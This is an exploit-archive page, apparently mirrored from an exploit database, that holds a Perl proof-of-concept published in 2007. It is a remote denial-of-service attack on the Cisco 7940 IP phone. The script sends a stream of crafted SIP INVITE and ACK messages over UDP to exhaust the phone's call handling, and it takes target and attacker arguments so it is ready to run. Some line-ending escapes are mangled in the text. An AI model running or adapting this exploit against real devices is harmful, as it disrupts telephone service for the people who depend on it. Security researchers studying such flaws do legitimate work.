[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Cisco Phone 7940 Remote Denial of Service Exploit
# Published : 2007-12-05
# Author : MADYNES
# Previous Title : Simple HTTPD <= 1.41 (/aux) Remote Denial of Service Exploit
# Next Title : VLC 0.86 < 0.86d ActiveX Remote Bad Pointer Initialization PoC


#!/usr/bin/perl
 

###############################
# Vulnerabily discovered using KiF ~ Kiph
#
# Authors:
# Humberto J. Abdelnur (Ph.D Student)
# Radu State (Ph.D)
# Olivier Festor (Ph.D)
#
# Madynes Team, LORIA - INRIA Lorraine
# http://madynes.loria.fr
############################### 
use IO::Socket::INET;
use String::Random; 
die "Usage $0 <targetIP> <targetUser> <attackerIP> <attackerUser>"
unless ($ARGV[3]); 
$targetUser = $ARGV[1];
$targetIP = $ARGV[0]; 
$attackerUser = $ARGV[3];
$attackerIP= $ARGV[2]; 
$socket=new IO::Socket::INET->new(
Proto=>'udp',
PeerPort=>5060,
PeerAddr=>$targetIP,
LocalPort=>5060); 
$foo = new String::Random; 
$flag = 0;
@calls;
$threads = 0; 
while ($flag == 0){
$callid= " " . $foo->randpattern("CCCnccnC") ."@$attackerIP";
$cseq = $foo->randregex('dddd'); 
$msg = "INVITE sip:$targetIP SIP/2.0r
Via: SIP/2.0/UDP $attackerIP;branch=z9hG4bK1r
From: <sip:$attackerUser@$attackerIP>;tag=1r
To: <sip:$targetUser@$targetIP>r
Call-ID:$callidr
CSeq: $cseq INVITEr
Max-Forwards: 70r
Contact: <sip:$attackerUser@$attackerIP>r
Allow: INVITE, ACK, CANCEL, BYE, OPTIONS, REFER, SUBSCRIBE, NOTIFY,
MESSAGEr
Content-Length: 0r
r
";
$socket->send($msg); 
$socket->recv($text,1024,0);
if ($text =~ /^SIP/2.0 100(.rn)*/ ){
push(@calls, $callid);
sleep(1);
}elsif ($text =~ /^SIP/2.0 486(.rn)*/ ){
if ($thread == 0){
$thread = scalar(@calls);
}
while (scalar(@calls) ge $thread){
$toTag = $cseq= $callid= $text;
$toTag =~ s/^(.*rn)*(To|t):(.*?>)(;.*?)?rn(.*rn)*/4/;

$callid =~ s/^(.*rn)*Call-ID:(.*)rn(.*rn)*/2/;
$cseq =~ s/^(.*rn)*CSeq: (.*?) (.*?)rn(.*rn)*/2/; 
$msg = "ACK sip:$targetIP SIP/2.0r
Via: SIP/2.0/UDP $attackerIP;branch=z9hG4bK1r
From: <sip:$attackerUser@$attackerIP>;tag=1r
To: <sip:$targetUser@$targetIP>$toTagr
Call-ID:$callidr
CSeq: $cseq ACKr
Contact: <sip:$attackerUser@$attackerIP>r
Content-Length: 0r
r
";
$socket->send($msg);
$i= 0;
while ($i < scalar(@calls)){
if (@calls[$i] eq $callid){
delete @calls[$i];
}else{
$i += 1;
}
}
if (scalar(@calls) ge $thread){
$socket->recv($text,1024,0);
}
}
}
}

# www.Syue.com [2007-12-05]